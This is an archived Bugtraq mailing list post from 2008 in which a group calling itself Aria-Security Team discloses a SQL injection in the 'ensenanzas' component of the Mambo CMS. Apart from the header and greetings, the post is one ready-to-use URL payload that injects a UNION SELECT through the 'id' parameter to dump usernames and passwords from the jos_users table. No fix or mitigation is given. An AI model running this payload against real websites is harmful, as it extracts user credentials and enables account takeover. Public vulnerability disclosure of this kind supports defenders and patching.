Bugtraq mailing list archives

Mambo Components ensenanzas "id" Remote SQL Injection

From: no-reply () Aria-security net
Date: 11 Mar 2008 02:36:32 -0000

Aria-Security Team (Persian Security Network)
http://Aria-Security.Net/
----------------------------
Shoutz: Aura, NULL, Kinglet, iM4N, Imm02tal
Mambo Components ensenanzas "id" Remote SQL Injection
Original Advisory: http://forum.aria-security.net/showthread.php?p=1731


index.php?option=com_ensenanzas&Itemid=71&id=99999/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/*



Regards,
The-0utl4w

Current thread:

Mambo Components ensenanzas "id" Remote SQL Injection no-reply (Mar 11)